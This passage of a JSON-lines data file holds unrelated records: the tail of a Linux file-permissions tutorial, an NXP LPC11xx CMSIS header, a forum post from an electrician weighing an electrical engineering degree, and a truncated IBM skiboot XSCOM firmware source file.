character to the left tells you what you’re looking at. If it’s a\nd, as you see here, that tells that this file is a directory, which is basically a special kind of file (and it will be referred to as a file throughout). However, if it was a dash (\n-), that would indicate that the file is a regular file.\nIf the first character was a lowercase\nl, then this item would be a special file type called a symlink, or soft link, which is a pointer (shortcut) to another location in the filesystem. Such a listing might look like this:\nlrwxrwxrwx 1 root root 4 Jun 30 03:29 sh -> bash\nAfter the first character are the permission abbreviations, which are grouped in threes. Permissions for files are represented by the following letters:\nrfor the read permission\nwfor the write permission\nxfor the execute permission\nBack to this example:\ndrwxrwxr-x 2 root test 4096 Dec 3 2009 test\n- The first triplet (\nrwx) shows the permissions for the user or file owner.\n- The next triplet (\nrwx) shows the permissions for the group category.\n- The last triplet (\nr-x) shows the permissions for the final category, other.\nIn this example, users who are neither the file owner nor in the group have read and execute permissions but not write, as indicated by the dash (\n-) in the middle position.\nThe number listed after the permissions indicates either the link count (for a file) or the number of contained directory entries (for a directory). This number is not relevant for permissions.\nAfter this number, the first name indicates the file’s owner. The user permissions (first triplet) apply to this owner, so in this example, the user\nroot has read, write, and execute permissions for this directory.\nThe second name is the file’s group. The group permissions apply to any user in the same group, so in this case, anyone in the\nNow you should have a much better feeling for getting information about your files from the command line. The\nls command has many more options. Type\nman ls to learn more, and figure out your favorite flag combinations for getting things done. You might even want to make some aliases.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**************************************************************************//**\r\n * $Id::                                                                  $\r\n *\r\n * @file     system_LPC11xx.h\r\n * @brief    CMSIS Cortex-M0 Device Peripheral Access Layer Header File\r\n *           for the NXP LPC11xx Device Series\r\n * @version  V1.00\r\n * @date     17. November 2009\r\n *\r\n * @note\r\n * Copyright (C) 2009 ARM Limited. All rights reserved.\r\n *\r\n * @par\r\n * ARM Limited (ARM) is supplying this software for use with Cortex-M \r\n * processor based microcontrollers.  This file can be freely distributed \r\n * within development tools that are supporting such ARM based processors. \r\n *\r\n * @par\r\n * THIS SOFTWARE IS PROVIDED \"AS IS\".  NO WARRANTIES, WHETHER EXPRESS, IMPLIED\r\n * OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF\r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE.\r\n * ARM SHALL NOT, IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR\r\n * CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.\r\n *\r\n ******************************************************************************/\r\n\r\n\r\n#ifndef __SYSTEM_LPC11xx_H\r\n#define __SYSTEM_LPC11xx_H\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n#include <stdint.h>\r\n\r\nextern uint32_t SystemCoreClock;     /*!< System Clock Frequency (Core Clock)  */\r\n\r\n\r\n/**\r\n * Initialize the system\r\n *\r\n * @param  none\r\n * @return none\r\n *\r\n * @brief  Setup the microcontroller system.\r\n *         Initialize the System and update the SystemCoreClock variable.\r\n */\r\n#define CONFIG_ENABLE_CMSIS_SYSTEMINIT\t\t\t\t1\r\nextern void SystemInit (void);\r\n\r\n/**\r\n * Update SystemCoreClock variable\r\n *\r\n * @param  none\r\n * @return none\r\n *\r\n * @brief  Updates the SystemCoreClock with current core Clock \r\n *         retrieved from cpu registers.\r\n */\r\n#define CONFIG_ENABLE_CMSIS_SYSTEMCORECLOCKUPDATE\t1\r\n//#define CONFIG_CMSIS_SET_SYSTEMCORECLOCK_DEFAULT\t48000000\r\nextern void SystemCoreClockUpdate (void);\r\n\r\n/*\r\n//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------\r\n*/\r\n\r\n/*--------------------- Clock Configuration ----------------------------------\r\n//\r\n// <e> Clock Configuration\r\n//   <e1> System Clock Setup\r\n//     <e2> System Oscillator Enable\r\n//       <o3.1> Select System Oscillator Frequency Range\r\n//                     <0=> 1 - 20 MHz\r\n//                     <1=> 15 - 25 MHz\r\n//     </e2>\r\n//     <e4> Watchdog Oscillator Enable\r\n//       <o5.0..4> Select Divider for Fclkana\r\n//                     <0=>   2 <1=>   4 <2=>   6 <3=>   8\r\n//                     <4=>  10 <5=>  12 <6=>  14 <7=>  16\r\n//                     <8=>  18 <9=>  20 <10=> 22 <11=> 24\r\n//                     <12=> 26 <13=> 28 <14=> 30 <15=> 32\r\n//                     <16=> 34 <17=> 36 <18=> 38 <19=> 40\r\n//                     <20=> 42 <21=> 44 <22=> 46 <23=> 48\r\n//                     <24=> 50 <25=> 52 <26=> 54 <27=> 56\r\n//                     <28=> 58 <29=> 60 <30=> 62 <31=> 64\r\n//       <o5.5..8> Select Watchdog Oscillator Analog Frequency (Fclkana)\r\n//                     <0=> Disabled\r\n//                     <1=> 0.5 MHz\r\n//                     <2=> 0.8 MHz\r\n//                     <3=> 1.1 MHz\r\n//                     <4=> 1.4 MHz\r\n//                     <5=> 1.6 MHz\r\n//                     <6=> 1.8 MHz\r\n//                     <7=> 2.0 MHz\r\n//                     <8=> 2.2 MHz\r\n//                     <9=> 2.4 MHz\r\n//                     <10=> 2.6 MHz\r\n//                     <11=> 2.7 MHz\r\n//                     <12=> 2.9 MHz\r\n//                     <13=> 3.1 MHz\r\n//                     <14=> 3.2 MHz\r\n//                     <15=> 3.4 MHz\r\n//     </e4>\r\n//     <o6> Select Input Clock for sys_pllclkin (Register: SYSPLLCLKSEL)\r\n//                     <0=> IRC Oscillator\r\n//                     <1=> System Oscillator\r\n//                     <2=> WDT Oscillator\r\n//                     <3=> Invalid\r\n//     <e7> Use System PLL\r\n//                     <i> F_pll = M * F_in\r\n//                     <i> F_in must be in the range of 10 MHz to 25 MHz\r\n//       <o8.0..4>   M: PLL Multiplier Selection\r\n//                     <1-32><#-1>\r\n//       <o8.5..6>   P: PLL Divider Selection\r\n//                     <0=> 2\r\n//                     <1=> 4\r\n//                     <2=> 8\r\n//                     <3=> 16\r\n//       <o8.7>      DIRECT: Direct CCO Clock Output Enable\r\n//       <o8.8>      BYPASS: PLL Bypass Enable\r\n//     </e7>\r\n//     <o9> Select Input Clock for Main clock (Register: MAINCLKSEL)\r\n//                     <0=> IRC Oscillator\r\n//                     <1=> Input Clock to System PLL\r\n//                     <2=> WDT Oscillator\r\n//                     <3=> System PLL Clock Out\r\n//   </e1>\r\n//   <o10.0..7> System AHB Divider <0-255>\r\n//                     <i> 0 = is disabled\r\n//   <o11.0>   SYS Clock Enable\r\n//   <o11.1>   ROM Clock Enable\r\n//   <o11.2>   RAM Clock Enable\r\n//   <o11.3>   FLASHREG Flash Register Interface Clock Enable\r\n//   <o11.4>   FLASHARRAY Flash Array Access Clock Enable\r\n//   <o11.5>   I2C Clock Enable\r\n//   <o11.6>   GPIO Clock Enable\r\n//   <o11.7>   CT16B0 Clock Enable\r\n//   <o11.8>   CT16B1 Clock Enable\r\n//   <o11.9>   CT32B0 Clock Enable\r\n//   <o11.10>  CT32B1 Clock Enable\r\n//   <o11.11>  SSP0 Clock Enable\r\n//   <o11.12>  UART Clock Enable\r\n//   <o11.13>  ADC Clock Enable\r\n//   <o11.15>  WDT Clock Enable\r\n//   <o11.16>  IOCON Clock Enable\r\n//   <o11.18>  SSP1 Clock Enable\r\n//\r\n//   <o12.0..7> SSP0 Clock Divider <0-255>\r\n//                     <i> 0 = is disabled\r\n//   <o13.0..7> UART Clock Divider <0-255>\r\n//                     <i> 0 = is disabled\r\n//   <o14.0..7> SSP1 Clock Divider <0-255>\r\n//                     <i> 0 = is disabled\r\n// </e>\r\n*/\r\n#define CLOCK_SETUP           1\r\n#define SYSCLK_SETUP          1\r\n#define SYSOSC_SETUP          1\r\n#define SYSOSCCTRL_Val        0x00000000\r\n#define WDTOSC_SETUP          0\r\n#define WDTOSCCTRL_Val        0x000000A0\r\n#define SYSPLLCLKSEL_Val      0x00000001\r\n#define SYSPLL_SETUP          1\r\n#define SYSPLLCTRL_Val        0x00000023\r\n#define MAINCLKSEL_Val        0x00000003\r\n#define SYSAHBCLKDIV_Val      0x00000001\r\n#define AHBCLKCTRL_Val        0x0001005F\r\n#define SSP0CLKDIV_Val        0x00000001\r\n#define UARTCLKDIV_Val        0x00000001\r\n#define SSP1CLKDIV_Val        0x00000001\r\n\r\n/*--------------------- Memory Mapping Configuration -------------------------\r\n//\r\n// <e> Memory Mapping\r\n//   <o1.0..1> System Memory Remap (Register: SYSMEMREMAP)\r\n//                     <0=> Bootloader mapped to address 0\r\n//                     <1=> RAM mapped to address 0\r\n//                     <2=> Flash mapped to address 0\r\n//                     <3=> Flash mapped to address 0\r\n// </e>\r\n*/\r\n#define MEMMAP_SETUP          0\r\n#define SYSMEMREMAP_Val       0x00000001\r\n\r\n/*\r\n//-------- <<< end of configuration section >>> ------------------------------\r\n*/\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif /* __SYSTEM_LPC11x_H */", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I worked 14 years as an electrician and I have gone back to school for Electrical Engineering. I'm about a third of the way through my EE degree, having taken maths up through Calc 3/Diffy Q's and a bunch of other classes. However, the more I get into the curriculum and get an idea for what most engineers do, I'm starting to have doubts. I envisioned designing a product, building and testing it, etc... Or possibly overseeing the electrical systems of an industrial (or utility) setting with some hands on work to maintain or improve the facilities. In short, I don't think I would enjoy sitting in front of a computer all day. I know that many people will say that engineering jobs vary, but I was hoping to find some anecdotal evidence of people who apply their knowledge as opposed to just designing and using theory. I wonder if I am describing more of an EET degree, but I've always thought those degrees were not very useful (that is the picture I've gotten at least, so no offense to anyone that might have an EET degree). Any input from anyone? Thanks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* Copyright 2013-2014 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * \thttp://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include <skiboot.h>\n#include <xscom.h>\n#include <io.h>\n#include <processor.h>\n#include <device.h>\n#include <chip.h>\n#include <centaur.h>\n#include <errorlog.h>\n#include <opal-api.h>\n#include <timebase.h>\n\n/* Mask of bits to clear in HMER before an access */\n#define HMER_CLR_MASK\t(~(SPR_HMER_XSCOM_FAIL | \\\n\t\t\t   SPR_HMER_XSCOM_DONE | \\\n\t\t\t   SPR_HMER_XSCOM_STATUS))\n\nDEFINE_LOG_ENTRY(OPAL_RC_XSCOM_RW, OPAL_PLATFORM_ERR_EVT, OPAL_XSCOM,\n\t\tOPAL_CEC_HARDWARE, OPAL_PREDICTIVE_ERR_GENERAL,\n\t\tOPAL_NA);\n\nDEFINE_LOG_ENTRY(OPAL_RC_XSCOM_INDIRECT_RW, OPAL_PLATFORM_ERR_EVT, OPAL_XSCOM,\n\t\tOPAL_CEC_HARDWARE, OPAL_PREDICTIVE_ERR_GENERAL,\n\t\tOPAL_NA);\n\nDEFINE_LOG_ENTRY(OPAL_RC_XSCOM_RESET, OPAL_PLATFORM_ERR_EVT, OPAL_XSCOM,\n\t\tOPAL_CEC_HARDWARE, OPAL_PREDICTIVE_ERR_GENERAL,\n\t\tOPAL_NA);\n\nDEFINE_LOG_ENTRY(OPAL_RC_XSCOM_BUSY, OPAL_PLATFORM_ERR_EVT, OPAL_XSCOM,\n\t\tOPAL_CEC_HARDWARE, OPAL_PREDICTIVE_ERR_GENERAL,\n\t\tOPAL_NA);\n\n/* xscom details to trigger xstop */\nstatic struct {\n\tuint64_t addr;\n\tuint64_t fir_bit;\n} xstop_xscom;\n\n/*\n * Locking notes:\n *\n * We used to have a per-target lock. However due to errata HW822317\n * we can have issues on the issuer side if multiple threads try to\n * send XSCOMs simultaneously (HMER responses get mixed up), so just\n * use a global lock instead\n */\nstatic struct lock xscom_lock = LOCK_UNLOCKED;\n\nstatic inline void *xscom_addr(uint32_t gcid, uint32_t pcb_addr)\n{\n\tstruct proc_chip *chip = get_chip(gcid);\n\tuint64_t addr;\n\n\tassert(chip);\n\taddr  = chip->xscom_base;\n\tif (proc_gen <= proc_gen_p8) {\n\t\taddr |= ((uint64_t)pcb_addr << 4) & ~0xfful;\n\t\taddr |= (pcb_addr << 3) & 0x78;\n\t} else\n\t\taddr |= ((uint64_t)pcb_addr << 3);\n\treturn (void *)addr;\n}\n\nstatic uint64_t xscom_wait_done(void)\n{\n\tuint64_t hmer;\n\n\tdo\n\t\thmer = mfspr(SPR_HMER);\n\twhile(!(hmer & SPR_HMER_XSCOM_DONE));\n\n\t/*\n\t * HW822317: We need to read a second time as the actual\n\t * status can be delayed by 1 cycle after DONE\n\t */\n\treturn mfspr(SPR_HMER);\n}\n\nstatic void xscom_reset(uint32_t gcid)\n{\n\tu64 hmer;\n\n\t/* Clear errors in HMER */\n\tmtspr(SPR_HMER, HMER_CLR_MASK);\n\n\t/* First we need to write 0 to a register on our chip */\n\tout_be64(xscom_addr(this_cpu()->chip_id, 0x202000f), 0);\n\thmer = xscom_wait_done();\n\tif (hmer & SPR_HMER_XSCOM_FAIL)\n\t\tgoto fail;\n\n\t/* Then we need to clear those two other registers on the target */\n\tout_be64(xscom_addr(gcid, 0x2020007), 0);\n\thmer = xscom_wait_done();\n\tif (hmer & SPR_HMER_XSCOM_FAIL)\n\t\tgoto fail;\n\tout_be64(xscom_addr(gcid, 0x2020009), 0);\n\thmer = xscom_wait_done();\n\tif (hmer & SPR_HMER_XSCOM_FAIL)\n\t\tgoto fail;\n\treturn;\n fail:\n\t/* Fatal error resetting XSCOM */\n\tlog_simple_error(&e_info(OPAL_RC_XSCOM_RESET),\n\t\t\"XSCOM: Fatal error resetting engine after failed access !\\n\");\n\n\t/* XXX Generate error log ? attn ? panic ?\n\t * If we decide to panic, change the above severity to PANIC\n\t */\n}\n\nstatic int64_t xscom_handle_error(uint64_t hmer, uint32_t gcid, uint32_t pcb_addr,\n\t\t\t      bool is_write, int64_t retries)\n{\n\tstruct timespec ts;\n\tunsigned int stat = GETFIELD(SPR_HMER_XSCOM_STATUS, hmer);\n\n\t/* XXX Figure out error codes from doc and error\n\t * recovery procedures\n\t */\n\tswitch(stat) {\n\tcase 1:\n\t\t/*\n\t\t * XSCOM engine is blocked, need to retry. Reset XSCOM\n\t\t * engine after crossing retry threshold before\n\t\t * retrying again.\n\t\t */\n\t\tif (retries && !(retries  % XSCOM_BUSY_RESET_THRESHOLD)) {\n\t\t\tprlog(PR_NOTICE, \"XSCOM: Busy even after %d retries, \"\n\t\t\t\t\"resetting XSCOM now. Total retries  = %lld\\n\",\n\t\t\t\tXSCOM_BUSY_RESET_THRESHOLD, retries);\n\t\t\txscom_reset(gcid);\n\n\t\t\t/*\n\t\t\t * Its observed that sometimes immediate retry of\n\t\t\t * XSCOM operation returns wrong data. Adding a\n\t\t\t * delay for XSCOM reset to be effective. Delay of\n\t\t\t * 10 ms is found to be working fine experimentally.\n\t\t\t * FIXME: Replace 10ms delay by exact delay needed\n\t\t\t * or other alternate method to confirm XSCOM reset\n\t\t\t * completion, after checking from HW folks.\n\t\t\t */\n\t\t\tts.tv_sec = 0;\n\t\t\tts.tv_nsec = 10 * 1000;\n\t\t\tnanosleep_nopoll(&ts, NULL);\n\t\t}\n\n\t\t/* Log error if we have retried enough and its still busy */\n\t\tif (retries == XSCOM_BUSY_MAX_RETRIES)\n\t\t\tlog_simple_error(&e_info(OPAL_RC_XSCOM_BUSY),\n\t\t\t\t\"XSCOM: %s-busy error gcid=0x%x pcb_addr=0x%x \"\n\t\t\t\t\"stat=0x%x\\n\", is_write ? \"write\" : \"read\",\n\t\t\t\tgcid, pcb_addr, stat);\n\t\treturn OPAL_BUSY;\n\n\tcase 2: /* CPU is asleep, reset XSCOM engine and return */\n\t\txscom_reset(gcid);\n\t\treturn OPAL_WRONG_STATE;\n\tcase 3: /* Partial good */\n\tcase 4: /* Invalid address / address error */\n\tcase 5: /* Clock error */\n\tcase 6: /* Parity error  */\n\tcase 7: /* Time out */\n\t\tbreak;\n\t}\n\n\t/* XXX: Create error log entry ? */\n\tlog_simple_error(&e_info(OPAL_RC_XSCOM_RW),\n\t\t\"XSCOM: %s error gcid=0x%x pcb_addr=0x%x stat=0x%x\\n\",\n\t\tis_write ? \"write\" : \"read\", gcid, pcb_addr, stat);\n\n\t/* We need to reset the XSCOM or we'll hang on the next access */\n\txscom_reset(gcid);\n\n\t/* Non recovered ... just fail */\n\treturn OPAL_HARDWARE;\n}\n\nstatic void xscom_handle_ind_error(uint64_t data, uint32_t gcid,\n\t\t\t\t   uint64_t pcb_addr, bool is_write)\n{\n\tunsigned int stat = GETFIELD(XSCOM_DATA_IND_ERR, data);\n\tbool timeout = !(data & XSCOM_DATA_IND_COMPLETE);\n\n\t/* XXX: Create error log entry ? */\n\tif (timeout)\n\t\tlog_simple_error(&e_info(OPAL_RC_XSCOM_INDIRECT_RW),\n\t\t\t\"XSCOM: indirect %s timeout, gcid=0x%x pcb_addr=0x%llx\"\n\t\t\t\" stat=0x%x\\n\",\n\t\t\tis_write ? \"write\" : \"read\", gcid, pcb_addr, stat);\n\telse\n\t\tlog_simple_error(&e_info(OPAL_RC_XSCOM_INDIRECT_RW),\n\t\t\t\"XSCOM: indirect %s error, gcid=0x%x pcb_addr=0x%llx\"\n\t\t\t\" stat=0x%x\\n\",\n\t\t\tis_write ? \"write\" : \"read\", gcid, pcb_addr, stat);\n}\n\nstatic bool xscom_gcid_ok(uint32_t gcid)\n{\n\treturn get_chip(gcid) != NULL;\n}\n\n/*\n * Low level XSCOM access functions, perform a single direct xscom\n * access via MMIO\n */\nstatic int __xscom_read(uint32_t gcid, uint32_t pcb_addr, uint64_t *val)\n{\n\tuint64_t hmer;\n\tint64_t ret, retries;\n\n\tif (!xscom_gcid_ok(gcid)) {\n\t\tprerror(\"%s: invalid XSCOM gcid 0x%x\\n\", __func__, gcid);\n\t\treturn OPAL_PARAMETER;\n\t}\n\n\tfor (retries = 0; retries <= XSCOM_BUSY_MAX_RETRIES; retries++) {\n\t\t/* Clear status bits in HMER (HMER is special\n\t\t * writing to it *ands* bits\n\t\t */\n\t\tmtspr(SPR_HMER, HMER_CLR_MASK);\n\n\t\t/* Read value from SCOM */\n\t\t*val = in_be64(xscom_addr(gcid, pcb_addr));\n\n\t\t/* Wait for done bit */\n\t\thmer = xscom_wait_done();\n\n\t\t/* Check for error */\n\t\tif (!(hmer & SPR_HMER_XSCOM_FAIL))\n\t\t\treturn OPAL_SUCCESS;\n\n\t\t/* Handle error and possibly eventually retry */\n\t\tret = xscom_handle_error(hmer, gcid, pcb_addr, false, retries);\n\t\tif (ret != OPAL_BUSY)\n\t\t\tbreak;\n\t}\n\n\tprerror(\"XSCOM: Read failed, ret =  %lld\\n\", ret);\n\treturn ret;\n}\n\nstatic int __xscom_write(uint32_t gcid, uint32_t pcb_addr, uint64_t val)\n{\n\tuint64_t hmer;\n\tint64_t ret, retries = 0;\n\n\tif (!xscom_gcid_ok(gcid)) {\n\t\tprerror(\"%s: invalid XSCOM gcid 0x%x\\n\", __func__, gcid);\n\t\treturn OPAL_PARAMETER;\n\t}\n\n\tfor (retries = 0; retries <= XSCOM_BUSY_MAX_RETRIES; retries++) {\n\t\t/* Clear status bits in HMER (HMER is special\n\t\t * writing to it *ands* bits\n\t\t */\n\t\tmtspr(SPR_HMER, HMER_CLR_MASK);\n\n\t\t/* Write value to SCOM */\n\t\tout_be64(xscom_addr(gcid, pcb_addr), val);\n\n\t\t/* Wait for done bit */\n\t\thmer = xscom_wait_done();\n\n\t\t/* Check for error */\n\t\tif (!(hmer & SPR_HMER_XSCOM_FAIL))\n\t\t\treturn OPAL_SUCCESS;\n\n\t\t/* Handle error and possibly eventually retry */\n\t\tret = xscom_handle_error(hmer, gcid, pcb_addr, true, retries);\n\t\tif (ret != OPAL_BUSY)\n\t\t\tbreak;\n\t}\n\n\tprerror(\"XSCOM: Write failed, ret =  %lld\\n\", ret);\n\treturn ret;\n}\n\n/*\n * Indirect XSCOM access functions\n */\nstatic int xscom_indirect_read(uint32_t gcid, uint64_t pcb_addr, uint64_t *val)\n{\n\tuint32_t addr;\n\tuint64_t data;\n\tint rc, retries;\n\n\tif (proc_gen < proc_gen_p8) {\n\t\t*val = (uint64_t)-1;\n\t\treturn OPAL_UNSUPPORTED;\n\t}\n\n\t/* Write indirect address */\n\taddr = pcb_addr & 0x7fffffff;\n\tdata = XSCOM_DATA_IND_READ |\n\t\t(pcb_addr & XSCOM_ADDR_IND_ADDR);\n\trc = __xscom_write(gcid, addr, data);\n\tif (rc)\n\t\tgoto bail;\n\n\t/* Wait for completion */\n\tfor (retries = 0; retries < XSCOM_IND_MAX_RETRIES; retries++) {\n\t\trc = __xscom_read(gcid, addr, &data);\n\t\tif (rc)\n\t\t\tgoto bail;\n\t\tif ((data & XSCOM_DATA_IND_COMPLETE) &&\n\t\t    ((data & XSCOM_DATA_IND_ERR) == 0)) {\n\t\t\t*val = data & XSCOM_DATA_IND_DATA;\n\t\t\tbreak;\n\t\t}\n\t\tif ((data & XSCOM_DATA_IND_COMPLETE) ||\n\t\t    (retries >= XSCOM_IND_MAX_RETRIES)) {\n\t\t\txscom_handle_ind_error(data, gcid, pcb_addr,\n\t\t\t\t\t       false);\n\t\t\trc = OPAL_HARDWARE;\n\t\t\tgoto bail;\n\t\t}\n\t}\n bail:\n\tif (rc)\n\t\t*val = (uint64_t)-1;\n\treturn rc;\n}\n\nstatic int xscom_indirect_write(uint32_t gcid, uint64_t pcb_addr, uint64_t val)\n{\n\tuint32_t addr;\n\tuint64_t data;\n\tint rc, retries;\n\n\tif (proc_gen < proc_gen_p8)\n\t\treturn OPAL_UNSUPPORTED;\n\n\t/* Write indirect address & data */\n\taddr = pcb_addr & 0x7fffffff;\n\tdata = pcb_addr & XSCOM_ADDR_IND_ADDR;\n\tdata |= val & XSCOM_ADDR_IND_DATA;\n\n\trc = __xscom_write(gcid, addr, data);\n\tif (rc)\n\t\tgoto bail;\n\n\t/* Wait for completion */\n\tfor (retries = 0; retries < XSCOM_IND_MAX_RETRIES; retries++) {\n\t\trc = __xscom_read(gcid, addr, &data);\n\t\tif (rc)\n\t\t\tgoto bail;\n\t\tif ((data & XSCOM_DATA_IND_COMPLETE) &&\n\t\t    ((data & XSCOM_DATA_IND_ERR) == 0))\n\t\t\tbreak;\n\t\tif ((data & XSCOM_DATA_IND_COMPLETE) ||\n\t\t    (retries >= XSCOM_IND_MAX_RETRIES)) {\n\t\t\txscom_handle_ind_error(data, gcid, pcb_addr,\n\t\t\t\t\t       true);\n\t\t\trc = OPAL_HARDWARE;\n\t\t\tgoto bail;\n\t\t}\n\t}\n bail:\n\treturn rc;\n}\n\nstatic uint32_t xscom_decode_chiplet(uint32_t partid, uint64_t *pcb_addr)\n{\n\tuint32_t gcid = (partid & 0x0fffffff) >> 4;\n\tuint32_t core = partid & 0xf;\n\n\tif (proc_gen == proc_gen_p9) {\n\t\t/* XXX Not supported */\n\t\t*pcb_addr = 0;\n\t} else {\n\t\t*pcb_addr |= P8_EX_PCB_SLAVE_BASE;\n\t\t*pcb_addr |= core << 24;\n\t}\n\n\treturn gcid;\n}\n\n/*\n * External API\n */\nint xscom_read(uint32_t partid, uint64_t pcb_addr, uint64_t *val)\n{\n\tuint32_t gcid;\n\tint rc;\n\n\t/* Handle part ID decoding */\n\tswitch(partid >> 28) {\n\tcase 0: /* Normal processor chip */\n\t\tgcid = partid;\n\t\tbreak;\n\tcase 8: /* Centaur */\n\t\treturn centaur_xscom_read(partid, pcb_addr, val);\n\tcase 4: /* EX chiplet */\n\t\tgcid = xscom_decode_chiplet(partid, &pcb_addr);\n\t\tif (pcb_addr == 0)\n\t\t\treturn OPAL_UNSUPPORTED;\n\t\tbreak;\n\tdefault:\n\t\t/**\n\t\t * @fwts-label XSCOMReadInvalidPartID\n\t\t * @fwts-advice xscom_read was called with an invalid partid.\n\t\t * There's likely a bug somewhere in the stack that's causing\n\t\t * someone to try an xscom_read on something that isn't a\n\t\t * processor, Centaur or EX chiplet.\n\t\t */\n\t\tprerror(\"%s: invalid XSCOM partid 0x%x\\n\", __func__, partid);\n\t\treturn OPAL_PARAMETER;\n\t}\n\n\t/* HW822317 requires us to do global locking */\n\tlock(&xscom_lock);\n\n\t/* Direct vs indirect access */\n\tif (pcb_addr & XSCOM_ADDR_IND_FLAG)\n\t\trc = xscom_indirect_read(gcid, pcb_addr, val);\n\telse\n\t\trc = __xscom_read(gcid, pcb_addr & 0x7fffffff, val);\n\n\t/* Unlock it */\n\tunlock(&xscom_lock);\n\treturn rc;\n}\n\nopal_call(OPAL_XSCOM_READ, xscom_read, 3);\n\nint xscom_write(uint32_t partid, uint64_t pcb_addr, uint64_t val)\n{\n\tuint32_t gcid;\n\tint rc;\n\n\t/* Handle part ID decoding */\n\tswitch(partid >> 28) {\n\tcase 0: /* Normal processor chip */\n\t\tgcid = partid;\n\t\tbreak;\n\tcase 8: /* Centaur */\n\t\treturn centaur_xscom_write(partid, pcb_addr, val);\n\tcase 4: /* EX chiplet */\n\t\tgcid = xscom_decode_chiplet(partid, &pcb_addr);\n\t\tbreak;\n\tdefault:\n\t\t/**\n\t\t * @fwts-label XSCOMWriteInvalidPartID\n\t\t * @fwts-advice xscom_write was called with an invalid partid.\n\t\t * There's likely a bug somewhere in the stack that's causing\n\t\t * someone to try an xscom_write on something that isn't a\n\t\t * processor, Centaur or EX chiplet.\n\t\t */\n\t\tprerror(\"%s: invalid XSCOM partid 0x%x\\n\", __func__, partid);\n\t\treturn OPAL_PARAMETER;\n\t}\n\n\t/* HW822317 requires us to do global locking */\n\tlock(&xscom_lock);\n\n\t/* Direct vs indirect access */\n\tif (pcb_addr & XSCOM_ADDR_IND_FLAG)\n\t\trc = xscom_indirect_write(gcid, pcb_addr, val);\n\telse\n\t\trc = __xscom_write(gcid, pcb_addr & 0x7fffffff, val);\n\n\t/* Unlock it */\n\tunlock(&xscom_lock);\n\treturn rc;\n}\nopal_call(OPAL_XSCOM_WRITE, xscom_write, 3);\n\nint xscom_readme(uint64_t pcb_addr, uint64_t *val)\n{\n\treturn xscom_read(this_cpu()->chip_id, pcb_addr, val);\n}\n\nint xscom_writeme(uint64_t pcb_addr, uint64_t val)\n{\n\treturn xscom_write(this_cpu()->chip_id, pcb_addr, val);\n}\n\nint64_t xscom_read_cfam_chipid(uint32_t partid, uint32_t *chip_id)\n{\n\tuint64_t val;\n\tint64_t rc = OPAL_SUCCESS;\n\n\t/* Mambo chip model lacks the f000f register, just make\n\t * something up\n\t */\n\tif (chip_quirk(QUIRK_NO_F000F)) {\n\t\tif (proc_gen == proc_gen_p9)\n\t\t\tval = 0x100D104980000000UL; /* P9 Nimbus DD1.0 */\n\t\telse\n\t\t\tval = 0x221EF04980000000UL; /* P8 Murano DD2.1 */\n\t} else\n\t\trc = xscom_read(partid, 0xf000f, &val);\n\n\t/* Extract CFAM id */\n\tif (rc == OPAL_SUCCESS)\n\t\t*chip_id = (uint32_t)(val >> 44);\n\n\treturn rc;\n}\n\nstatic void xscom_init_chip_info(struct proc_chip *chip)\n{\n\tuint32_t val;\n\tint64_t rc;\n\n\trc = xscom_read_cfam_chipid(chip->id, &val);\n\tif (rc) {\n\t\tprerror(\"XSCOM: Error %lld reading 0xf000f register\\n\", rc);\n\t\t/* We leave chip type to UNKNOWN */\n\t\treturn;\n\t}\n\n\t/* Identify chip */\n\tswitch(val & 0xff) {\n\tcase 0xf9:\n\t\tchip->type = PROC_CHIP_P7;\n\t\tassert(proc_gen == proc_gen_p7);\n\t\tbreak;\n\tcase 0xe8:\n\t\tchip->type = PROC_CHIP_P7P;\n\t\tassert(proc_gen == proc_gen_p7);\n\t\tbreak;\n\tcase 0xef:\n\t\tchip->type = PROC_CHIP_P8_MURANO;\n\t\tassert(proc_gen == proc_gen_p8);\n\t\tbreak;\n\tcase 0xea:\n\t\tchip->type = PROC_CHIP_P8_VENICE;\n\t\tassert(proc_gen == proc_gen_p8);\n\t\tbreak;\n\tcase 0xd3:\n\t\tchip->type = PROC_CHIP_P8_NAPLES;\n\t\tassert(proc_gen == proc_gen_p8);\n\t\tbreak;\n\tcase 0xd1:\n\t\tchip->type = PROC_CHIP_P9_NIMBUS;\n\t\tassert(proc_gen == proc_gen_p9);\n\t\tbreak;\n\tcase 0xd4:\n\t\tchip->type = PROC_CHIP_P9_CUMULUS;\n\t\tassert(proc_gen == proc_gen_p9);\n\t\tbreak;\n\tdefault:\n\t\tprintf(\"CHIP: Unknown chip type 0x%02x !!!\\n\",\n\t\t       (unsigned char)(val & 0xff));\n\t}\n\n\t/* Get EC level from CFAM ID */\n\tchip->ec_level = ((val >> 16) & 0xf) << 4;\n\tchip->ec_level |= (val >> 8) & 0xf;\n}\n\n/*\n* This function triggers xstop by writing to XSCOM.\n* Machine would enter xstop state post completion of this.\n*/\nint64_t xscom_trigger_xstop(void)\n{\n\tint rc = OPAL_UNSUPPORTED;\n\n\tif (xstop_xscom.addr)\n\t\trc = xscom_writeme(xstop_xscom.addr,\n\t\t\t\tPPC_BIT(xstop_xscom.fir_bit));\n\n\treturn rc;\n}\n\nvoid xscom_init(void)\n{\n\tstruct dt_node *xn;\n\tconst struct dt_property *p;\n\n\tdt_for_each_compatible(dt_root, xn, \"ibm,xscom\") {\n\t\tuint32_t gcid = 